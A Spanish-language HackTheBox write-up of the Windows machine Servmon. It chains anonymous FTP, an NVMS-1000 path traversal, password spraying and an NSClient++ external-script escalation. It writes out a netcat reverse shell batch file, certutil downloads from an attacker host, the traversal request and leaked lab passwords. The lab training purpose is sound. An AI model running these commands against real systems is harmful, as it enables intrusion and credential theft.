the_open_door
café
ESEN

Servmon

HackTheBoxFácilWindows10.10.10.184

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#ftp-anonimo#lfi#path-traversal#nvms-1000#password-spraying#ssh-tunneling#port-forwarding#nsclient#reverse-shell
TL;DR. Servmon es una máquina Windows de dificultad fácil que encadena descuidos de configuración, sin un solo exploit de memoria. Un FTP anónimo deja ver dos notas que cuentan dónde hay un fichero de contraseñas. La web de la máquina corre NVMS-1000, vulnerable a un path traversal que nos deja leer ese Passwords.txt del escritorio de un usuario. Con esa lista hacemos password spraying por SMB y validamos a Nadine, que entra por SSH y nos da la primera flag. Para escalar, un servicio NSClient++ en el 8443 solo acepta conexiones locales: recuperamos su contraseña con un comando local, abrimos un túnel SSH para presentarnos como 127.0.0.1, y desde el panel configuramos un script externo que el propio servicio ejecuta como SYSTEM, devolviéndonos una shell con privilegios máximos.

Reconocimiento

Escaneo inicial

Lo primero es un ping. Más allá de comprobar que la máquina responde, el campo TTL (Time To Live) del paquete de vuelta da una pista del sistema operativo: cada SO inicia el TTL con un valor por defecto, y los routers lo van decrementando en cada salto. Un valor cercano a 64 suele ser Linux y uno cercano a 128, Windows. Aquí vuelve con ttl=127, un salto por debajo de 128, así que apunta a Windows (es un indicio, no una prueba).

ping -c 1 10.10.10.184

ping a Servmon: el TTL 127 sugiere un sistema Windows

PING 10.10.10.184 (10.10.10.184) 56(84) bytes of data.
64 bytes from 10.10.10.184: icmp_seq=1 ttl=127 time=110 ms

El barrido UDP a los cien puertos más comunes no devuelve ni un puerto abierto.

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.184 | grep -v 'no-response'

El escaneo UDP no devuelve ningún puerto abierto

Completed UDP Scan at 20:28, 1.27s elapsed (100 total ports)
Not shown: 1 closed udp port (port-unreach)
PORT      STATE   SERVICE       REASON

Nmap done: 1 IP address (1 host up) scanned in 1.36 seconds

Conviene leer bien esa tabla vacía: Not shown: 1 closed udp port. De los cien puertos probados, solo uno contestó (con un ICMP port-unreachable); los otros noventa y nueve se quedaron en open|filtered y el grep -v 'no-response' los ha escondido. Una tabla UDP vacía no significa "no hay nada en UDP", significa que UDP no responde, que es lo normal. Pasamos a TCP, donde sí hay respuestas que interpretar.

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.184 -oG scan

Escaneo TCP completo: diecisiete puertos abiertos, incluidos nrpe en el 5666 y el rango dinámico de RPC

Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE       REASON
21/tcp    open  ftp           syn-ack ttl 127
22/tcp    open  ssh           syn-ack ttl 127
80/tcp    open  http          syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
5666/tcp  open  nrpe          syn-ack ttl 127
6063/tcp  open  x11           syn-ack ttl 127
6699/tcp  open  napster       syn-ack ttl 127
8443/tcp  open  https-alt     syn-ack ttl 127
49664/tcp open  unknown       syn-ack ttl 127
49665/tcp open  unknown       syn-ack ttl 127
49666/tcp open  unknown       syn-ack ttl 127
49667/tcp open  unknown       syn-ack ttl 127
49668/tcp open  unknown       syn-ack ttl 127
49669/tcp open  unknown       syn-ack ttl 127
49670/tcp open  unknown       syn-ack ttl 127

El ttl 127 de la columna REASON repite lo que decía el ping, esta vez diecisiete veces. Los puertos 49664-49670 son el rango dinámico de RPC, normal en cualquier Windows. Pero hay uno que merece pararse: 5666/tcp nrpe. NRPE es el Nagios Remote Plugin Executor, el canal por el que un servidor Nagios pide a una máquina que ejecute comprobaciones locales. Su presencia dice que aquí hay un agente de monitorización, y un agente de monitorización es, por definición, un proceso privilegiado cuyo trabajo consiste en ejecutar cosas. Junto al 8443, esto va a acabar siendo la escalada.

Diecisiete puertos son demasiados para copiarlos a mano, así que extractPorts (una función del .zshrc) resume el fichero scan y los deja en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Servmon: IP 10.10.10.184 y los diecisiete puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.184
Open ports: 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

Ports copied to clipboard
nmap -p 21,22,80,135,139,445,5666,6063,6699,8443 -sCV 10.10.10.184

nmap -sCV: FTP anónimo permitido, SSH de Windows, HTTP que redirige a un login y un HTTPS en 8443

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  07:35PM       <DIR>          Users
22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp   open  http
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6063/tcp open  x11?
6699/tcp open  napster?
8443/tcp open  ssl/https-alt

La salida sigue, y la segunda mitad es la que de verdad importa. Los scripts por defecto sacan el título de la página del 8443 y el certificado TLS.

La segunda mitad del -sCV: el 8443 tiene el título NSClient++ y un certificado para localhost

8443/tcp open  ssl/https-alt
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 302
|     Location: /index.html
|     workers
|_    jobs
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Aquí está el servicio del final de la máquina, con nombre y todo, en el primer escaneo: http-title: NSClient++. NSClient++ es precisamente el agente de monitorización que habla NRPE por el 5666; los dos puertos son el mismo producto, uno es su canal de comprobaciones y otro su panel web. Vale la pena leer también el certificado: está emitido para commonName=localhost, no para la IP ni para un nombre de dominio. Un certificado autofirmado para localhost es la pista de que ese panel está pensado para consumirse desde la propia máquina, cosa que confirmaremos por las malas cuando nos devuelva un 403.

Lo que destaca del conjunto: el FTP (21) permite login anónimo y ya enseña una carpeta Users; hay SSH (22) sobre Windows; el HTTP (80) sirve una web cuyo código redirige a Pages/login.htm; y el 8443 es el panel de NSClient++. Anotamos el 8443 para la escalada y empezamos por el FTP, que es el camino más barato.

FTP anónimo - TCP 21

El servidor FTP acepta el usuario anonymous sin contraseña. Dentro de Users hay dos carpetas de usuario, Nadine y Nathan, y en cada una un fichero de texto que descargamos.

ftp 10.10.10.184
# Name: anonymous  /  Password: (vacía)
dir
cd Users
cd Nadine
get Confidential.txt
cd ../Nathan
get "Notes to do.txt"

Sesión FTP anónima: carpetas Nadine y Nathan, se descargan Confidential.txt y Notes to do.txt

230 User logged in.
ftp> dir
02-28-22  07:35PM       <DIR>          Users
ftp> cd Users
ftp> dir
02-28-22  07:36PM       <DIR>          Nadine
02-28-22  07:37PM       <DIR>          Nathan
ftp> get Confidential.txt
168 bytes received in 00:00 (0.49 KiB/s)
ftp> get "Notes to do.txt"
182 bytes received in 00:00 (0.53 KiB/s)

Al leer ambos ficheros, las dos notas se complementan y dibujan el primer vector. Confidential.txt (de Nadine para Nathan) dice que dejó un Passwords.txt en el escritorio de Nathan. Y la lista de tareas de Nathan revela el resto del contexto: hay un servicio NVMS cuyo acceso público aún no se ha cerrado, y todavía no se han subido/asegurado esas contraseñas.

cat Confidential.txt
cat "Notes to do.txt"

Contenido de las dos notas: un Passwords.txt en el escritorio de Nathan y tareas pendientes sobre NVMS

File: Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you
have edited it yourself and place it back into the secure folder.
Regards
Nadine

File: Notes to do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Dos pistas quedan anotadas para más adelante: existe un Passwords.txt en C:\Users\Nathan\Desktop y la web del 80 es NVMS con "acceso público" todavía abierto.

Web NVMS-1000 - TCP 80

El servicio web del puerto 80 redirige a Pages/login.htm. Antes de mirarlo en el navegador, whatweb da su versión de los hechos.

whatweb http://10.10.10.184

whatweb apenas identifica nada: ni servidor, ni framework, solo una cabecera rara

http://10.10.10.184 [200 OK] Country[RESERVED][ZZ], IP[10.10.10.184],
Script[text/javascript], UncommonHeaders[authinfo]

No aparece ni el servidor web ni el framework, algo poco habitual. Lo único con sustancia es UncommonHeaders[authinfo]: la aplicación devuelve una cabecera authinfo que no es estándar, o sea que no estamos ante un servidor web genérico sino ante un producto con su propia pila. Cuando whatweb se queda corto, toca mirar el navegador.

La web es el panel de login de NVMS-1000, un software de videovigilancia. Wappalyzer solo detecta una tecnología, y ya insinúa la edad del producto: jQuery 1.7.2, una versión de 2012.

El panel de NVMS-1000 y Wappalyzer detectando jQuery 1.7.2

El código fuente lo confirma y añade un detalle mejor: los recursos llevan un parámetro de versión ?v=20150323.1, es decir, la compilación es de marzo de 2015.

view-source:http://10.10.10.184/Pages/login.htm

El código fuente: título NVMS-1000, jQuery 1.7.2 y recursos fechados en 2015

<title>NVMS-1000</title>
<link href="../Css/login.css?v=20150323.1" rel="stylesheet" type="text/css" />
<script src="../Scripts/jquery-1.7.2.min.js?v=20150323.1" type="text/javascript"></script>
<script src="../Scripts/Common/Base64.js?v=20150323.1" type="text/javascript"></script>
<script src="../Scripts/Common/Encryption.js?v=20150323.1" type="text/javascript"></script>

Un producto congelado en 2015 y expuesto a internet es exactamente el perfil que busca searchsploit. Antes de ir ahí, cerramos la enumeración web con un escaneo de rutas, que resulta ser un callejón sin salida.

dirsearch -u http://10.10.10.184/ --exclude-status=403,404

dirsearch solo encuentra el favicon tras dos minutos de escaneo

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Target: http://10.10.10.184/

[20:57:49] Starting:
[20:59:29] 200 -    1KB - /favicon.ico

Task Completed

Dos minutos de fuerza bruta para encontrar un favicon. Y no pasa nada: el diccionario no iba a descubrir nada porque la vulnerabilidad no está en una ruta oculta, está en cómo el servidor trata las rutas que ya conoce. Es un buen recordatorio de que el fuzzing de directorios responde a una pregunta concreta ("¿qué hay que no me han enseñado?") y no a todas.

Con el nombre del producto, el siguiente paso es buscar vulnerabilidades conocidas con searchsploit, que consulta la base de datos local de Exploit-DB.

searchsploit NVMS
searchsploit -x hardware/webapps/47774.txt

searchsploit muestra para NVMS-1000 un directory traversal (Exploit-DB 47774)

Exploit Title                                     | Path
NVMS 1000 - Directory Traversal                   | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary... | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow| multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal               | hardware/webapps/48311.py

Aparece un directory traversal para NVMS-1000 (Exploit-DB 47774). Leemos la ficha, que no puede ser más corta: no hay exploit que compilar ni script que lanzar, es una sola petición.

La prueba de concepto del 47774: un GET con ../ repetidos que devuelve win.ini

# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Vendor Homepage: http://en.tvt.net.cn/

POC
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1

Response
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

La prueba de concepto lee windows/win.ini, un fichero que existe en cualquier Windows y no contiene nada sensible. Esa elección no es casual: para demostrar que la lectura arbitraria funciona hace falta un objetivo que exista siempre y cuyo contenido sea reconocible de un vistazo. Primero se confirma la primitiva con un fichero inocuo, y solo después se apunta a lo que interesa.

Y aquí encaja la pista del FTP: si esto funciona, podemos leer el Passwords.txt del escritorio de Nathan.

Shell como Nadine

LFI en NVMS-1000: leer Passwords.txt

Lanzamos el path traversal con curl. El flag --path-as-is es clave: impide que curl "normalice" la ruta colapsando los ../ antes de enviarla, de forma que el payload llega intacto al servidor. Repetimos ../ muchas veces (los de más simplemente se quedan en la raíz del disco) y apuntamos a la ruta conocida.

curl 'http://10.10.10.184/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt' --path-as-is

El path traversal lee Passwords.txt: una lista de siete contraseñas candidatas

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTr4it0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Tenemos siete contraseñas candidatas. Combinadas con los dos usuarios que ya conocemos del FTP (Nathan y Nadine), tenemos todo para un ataque de adivinación contra el SMB.

Password spraying

Guardamos los dos usuarios en un fichero y cruzamos usuarios y contraseñas contra el SMB con crackmapexec. En vez de probar muchas contraseñas contra un solo usuario (lo que arriesga bloqueos), el password spraying cruza ambas listas y nos dice qué pares son válidos.

echo -e "Nathan\nNadine" > users.txt
crackmapexec smb 10.10.10.184 -u users.txt -p passwords.txt

crackmapexec valida un único par: Nadine con la contraseña L1k3B1gBut7s@W0rk

SMB  10.10.10.184  445  SERVMON  [*] Windows 10.0 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB  10.10.10.184  445  SERVMON  [-] ServMon\Nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
...
SMB  10.10.10.184  445  SERVMON  [+] ServMon\Nadine:L1k3B1gBut7s@W0rk

De los catorce intentos, solo uno acierta: Nadine : L1k3B1gBut7s@W0rk. Como el SSH también está abierto, probamos esas credenciales ahí.

Acceso por SSH y user.txt

Las credenciales de Nadine valen para SSH y obtenemos una shell interactiva en la máquina.

ssh Nadine@10.10.10.184

Conexión SSH como Nadine pidiendo contraseña

Load key "/root/.ssh/id_rsa": error in libcrypto
Nadine@10.10.10.184's password:

El error in libcrypto de la primera línea es ruido local, no del objetivo: nuestro cliente intenta ofrecer una clave privada que no puede leer y sigue adelante con la autenticación por contraseña. Merece la pena saber distinguirlo, porque parece un fallo de conexión y no lo es.

Revisamos el token con whoami /all. Nadine es un usuario de integridad media, sin privilegios peligrosos (solo SeChangeNotifyPrivilege y SeIncreaseWorkingSetPrivilege, que tiene cualquier cuenta): por aquí no hay un atajo de privilegios, habrá que buscar otro vector.

whoami /all

whoami /all de Nadine: integridad media y sin privilegios aprovechables

USER INFORMATION
User Name       SID
servmon\nadine  S-1-5-21-3217154428-562821044-1828981534-1001

PRIVILEGES INFORMATION
Privilege Name                Description                    State
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set  Enabled

La primera flag está en el escritorio de Nadine.

type C:\Users\Nadine\Desktop\user.txt

user.txt leída como Nadine

a8b75e3f51ad8e837689c1fff09a92e9

Shell como SYSTEM

NSClient++ - TCP 8443: enumeración y contraseña

Toca cobrar la pista que dejamos apuntada en el reconocimiento. Volvemos sobre la salida del -sCV, donde el 8443 ya venía identificado.

Relectura del escaneo: el 8443 es NSClient++ con certificado para localhost

NSClient++ es el agente de monitorización de Windows que habla NRPE por el 5666 que también vimos abierto. Corre como servicio del sistema y su función es ejecutar comprobaciones, así que es el candidato natural para escalar. Abrimos el panel en el navegador y no aparece nada: una página en blanco con la barra de menú.

Firefox carga el panel completamente en blanco

Esto no es que el servicio esté roto. El panel de NSClient++ es una aplicación JavaScript vieja y Firefox no la pinta; con Chrome, el mismo index.html sí renderiza el formulario de acceso. Es un detalle tonto que cuesta ratos: cuando una página se ve vacía pero el servidor responde 200 y hay menú, antes de dar el servicio por muerto conviene probar otro navegador y mirar la consola.

El mismo panel en Chrome, con su pantalla de login

NSClient++ tiene un caso de escalada de privilegios bien conocido: el agente corre como SYSTEM y permite definir "scripts externos" que ejecuta él mismo. Para entrar al panel necesitamos su contraseña. Buscamos la técnica con searchsploit.

searchsploit NSClient++
searchsploit -x windows/local/46802.txt

searchsploit muestra el privilege escalation de NSClient++ (Exploit-DB 46802)

Exploit Title                                          | Path
NSClient++ 0.5.2.35 - Authenticated Remote Code Exec.  | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation             | windows/local/46802.txt

Leemos la ficha del 46802, que no es un exploit sino una receta de siete pasos.

La ficha 46802: los siete pasos del abuso de NSClient++

Exploit:
1. Grab web administrator password
   - open c:\program files\nsclient++\nsclient.ini
   or
   - run the following that is instructed when you select forget password
     C:\Program Files\NSClient++>nscp web -- password --display
     Current password: SoSecret
2. Login and enable following modules including enable at startup and save configuration
   - CheckExternalScripts
   - Scheduler
3. Download nc.exe and evil.bat to c:\temp from attacking machine
   @echo off
   c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
4. Setup listener on attacking machine
   nc -nlvvp 443
5. Add script foobar to call evil.bat and save settings
   - Settings > External Scripts > Scripts
6. Add schedulede to call script every 1 minute and save settings
   - Settings > Scheduler > Schedules
7. Restart the computer and wait for the reverse shell on attacking machine
   C:\Program Files\NSClient++>whoami
   nt authority\system

Risk:
The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System

Merece la pena leer la línea de riesgo con cuidado: "allows local attackers". Esto no es un fallo de autenticación ni un desbordamiento, es el funcionamiento previsto del producto. NSClient++ está hecho para ejecutar scripts como SYSTEM porque eso es monitorizar un Windows; el único control es quién llega al panel. Por eso el nscp web -- password --display del paso 1 no explota nada: es la función de "he olvidado la contraseña" que el propio agente ofrece a quien ya está en la máquina. Toda la escalada consiste en usar la herramienta para lo que sirve, desde una cuenta que no debería poder hacerlo.

Empezamos por ese paso 1. Como ya tenemos shell como Nadine, lo ejecutamos desde el directorio de instalación.

cd "C:\Program Files\NSClient++"
.\nscp web -- password --display

nscp web -- password --display devuelve la contraseña del panel: ew2x6SsGTxjRwXOT

Current password: ew2x6SsGTxjRwXOT

Port forwarding para entrar al panel

Con la contraseña en mano, intentar entrar al panel desde nuestra IP devuelve un 403 Forbidden: NSClient++ está configurado para aceptar solo conexiones desde 127.0.0.1 (acceso local), justo lo que la nota de Nathan daba por "asegurado".

El panel responde 403 Forbidden a una conexión desde nuestra IP externa

La forma de sortearlo es un local port forwarding sobre SSH: reenviamos nuestro puerto local 8443 a través de la sesión de Nadine hasta el 127.0.0.1:8443 de la propia máquina. Así, para NSClient++ la conexión nace en localhost y el filtro por IP deja de aplicar.

ssh Nadine@10.10.10.184 -L 8443:127.0.0.1:8443

Túnel SSH establecido reenviando el 8443 local al 127.0.0.1:8443 del objetivo

Load key "/root/.ssh/id_rsa": error in libcrypto
Nadine@10.10.10.184's password:

Tras autenticarnos, la sesión queda abierta con el túnel activo: el panel de NSClient++ del 8443 interno responde ahora en nuestro 127.0.0.1:8443.

Navegando a https://localhost:8443 el formulario aparece sin 403, y esta vez solo pide la contraseña (NSClient++ no tiene usuarios, tiene una clave de administración). Metemos la que sacó el nscp.

El panel accesible por el túnel, pidiendo solo la contraseña

La hipótesis se confirma: la aplicación no ha cambiado, lo único distinto es de dónde nace la conexión. Nuestro tráfico sale del propio 127.0.0.1 de la máquina porque el extremo del túnel está dentro, así que el filtro por IP de origen lo da por local. Ya estamos dentro del panel.

Panel de NSClient++ abierto, con la pantalla de métricas

CheckExternalScripts: de configuración a reverse shell

Ya dentro, el abuso consiste en hacer que NSClient++ (que corre como SYSTEM) ejecute un script nuestro. Primero, en la pestaña Modules, habilitamos CheckExternalScripts y Scheduler.

En Modules se habilitan CheckExternalScripts y Scheduler

Preparamos en nuestra máquina un .bat que lanza un netcat contra nosotros (reverse shell) y levantamos un servidor HTTP para servir tanto el .bat como el nc.exe.

cat evil.bat
# @echo off
# C:\Temp\nc.exe 10.10.16.6 443 -e cmd.exe
python3 -m http.server 80

Se crea evil.bat con la reverse shell y se sirve junto a nc.exe por HTTP

File: evil.bat
@echo off
c:\temp\nc.exe 10.10.16.6 443 -e cmd.exe

Copiamos también nc.exe al mismo directorio y lo servimos todo por HTTP:

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la shell de Nadine descargamos ambos ficheros a C:\Temp con certutil, una utilidad de Windows que sirve perfectamente para bajar archivos.

mkdir C:\Temp
cd C:\Temp
certutil.exe -f -urlcache -split http://10.10.16.6/nc.exe nc.exe
certutil.exe -f -urlcache -split http://10.10.16.6/evil.bat evil.bat

certutil descarga nc.exe y evil.bat a C:\Temp en la máquina víctima

nadine@SERVMON C:\temp>certutil.exe -f -urlcache -split http://10.10.16.6/nc.exe nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

nadine@SERVMON C:\temp>certutil.exe -f -urlcache -split http://10.10.16.6/evil.bat evil.bat
CertUtil: -URLCache command completed successfully.

nadine@SERVMON C:\temp>type evil.bat
@echo off
c:\temp\nc.exe 10.10.16.6 443 -e cmd.exe

En el panel, en Settings → External Scripts → Scripts, damos de alta un script nuevo.

En Settings se registra un script externo apuntando a C:\Temp\evil.bat

El formulario tiene tres campos, y conviene entender qué es cada uno porque no son un exploit sino una entrada de configuración normal: Section es la rama del fichero de configuración (/settings/external scripts), Key es el nombre de la clave (command) y Value es lo que se va a ejecutar (C:\temp\evil.bat). Estamos escribiendo en el nsclient.ini desde la web.

El formulario con Section, Key y Value, y el menú Changes para guardar

Section:  /settings/external scripts
Key:      command
Value:    C:\temp\evil.bat

Un detalle que se salta con facilidad: añadir no es guardar. Tras pulsar Add, el cambio vive solo en memoria hasta que se confirma en Changes → Save configuration. Si se olvida este paso, la recarga posterior deshace el trabajo y parece que el ataque no funciona.

root.txt

Con un listener a la escucha en nuestra máquina, forzamos la ejecución. La ficha del exploit propone programar el script con el Scheduler o reiniciar el equipo, pero hay un camino más rápido y menos ruidoso: Control → Reload. Al recargarse, el servicio relee su configuración y dispara el script externo que acabamos de registrar.

El menú Control con la opción Reload, que relanza el servicio

NSClient++ ejecuta el .bat con sus propios privilegios, SYSTEM, y recibimos la reverse shell.

sudo nc -nlvp 443

el listener con nc esperando en el puerto 443 antes de recargar el servicio

listening on [any] 443 ...

Reverse shell recibida como el proceso de NSClient++ (SYSTEM)

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.184] 49869
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>

Como la shell corre como SYSTEM, puede leer la flag final, que está en el escritorio del Administrator.

type C:\Users\administrator\desktop\root.txt

root.txt leída con la shell SYSTEM

c947a691a76862634a37644afa711644

Máquina rooteada.

Cadena de ataque

Todo el recorrido, del FTP anónimo a la shell como SYSTEM, en un vistazo:

FTP anónimo (21)  ─►  notas: hay un Passwords.txt en el escritorio de Nathan
  │
  ▼
Web NVMS-1000 (80)  ──path traversal (Exploit-DB 47774)──►  leer Passwords.txt
  │  7 contraseñas + 2 usuarios
  ▼
Password spraying (SMB)  ─►  Nadine : L1k3B1gBut7s@W0rk
  │  SSH (22)
  ▼
Nadine  ─►  user.txt
  │  NSClient++ (8443): nscp web -- password --display
  ▼
Panel NSClient++ (solo local)  ──port forwarding SSH──►  acceso al panel
  │  CheckExternalScripts: registrar evil.bat (nc.exe)
  ▼
NSClient++ ejecuta el script como SYSTEM  ─►  reverse shell  ─►  root.txt

Lecciones aprendidas

  • Un FTP anónimo no es "solo lectura inofensiva". Aquí no había credenciales en los ficheros, pero las dos notas filtraban el mapa entero del ataque: dónde había contraseñas y qué servicios estaban mal cerrados. La información de contexto vale tanto como una credencial.
  • El path traversal de NVMS-1000 convierte "leer un fichero" en acceso al sistema. El path traversal por sí solo únicamente lee ficheros, pero combinado con la pista del FTP (la ruta exacta del Passwords.txt) se transforma en el robo de credenciales que abre la máquina. Actualizar el software vulnerable y no dejar ficheros de contraseñas en escritorios son dos fallos independientes que aquí se suman.
  • Reutilizar contraseñas hace que el spraying funcione. Una sola de las siete contraseñas valía, y valía para un usuario real con SSH. Contraseñas únicas por servicio y MFA habrían cortado el paso aunque la lista se filtrara.
  • El escaneo inicial ya nombraba la escalada. El -sCV devolvió http-title: NSClient++ en el 8443 y un certificado emitido para commonName=localhost, y el -p- había sacado 5666/tcp nrpe. Los dos puertos son el mismo producto, y el certificado anunciaba que el panel esperaba conexiones locales. Todo el vector final estaba descrito en la primera pantalla; lo que faltaba era leerla entera, incluida la segunda mitad de la salida.
  • NSClient++ ejecutando scripts como SYSTEM es escalada por diseño. Su CheckExternalScripts está pensado para correr comprobaciones, pero quien controla el panel controla SYSTEM. La restricción a localhost era la única barrera, y un simple túnel SSH la anula. Donde la seguridad depende solo de un filtro por IP de origen, basta con originar el tráfico desde dentro.
Cheatsheet de comandos 22 comandos

Repaso rápido